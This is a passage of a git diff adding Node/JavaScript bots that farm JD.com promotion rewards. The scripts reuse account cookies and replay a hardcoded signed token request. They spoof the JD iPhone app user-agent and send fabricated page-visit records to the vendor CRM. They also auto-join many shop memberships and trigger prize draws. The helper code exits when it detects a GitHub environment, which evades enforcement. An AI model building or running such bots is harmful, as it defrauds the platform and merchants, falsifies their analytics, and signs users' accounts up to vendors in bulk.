null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + await $.wait(2000) + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000221763&pageId=dz2021101420000sjleowq&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加购物车") + await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + console.log(data.data.addBeanNum) + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + // $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_go2.js b/backUp/jd_lzdz1_go2.js new file mode 100644 index 0000000..e8ecebc --- /dev/null +++ b/backUp/jd_lzdz1_go2.js @@ -0,0 +1,598 @@ +/* +大牌联合 狂欢抢先GO +10-23 ~ 10~29 +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dz20211023wkcn14cn5cnd0sdbs5sbx&shareUuid=e4af9e2576f742518d31de9d38c34b14 + +默认执行脚本。如果需要不执行 +环境变量 NO_RUSH=false +*/ +const $ = new 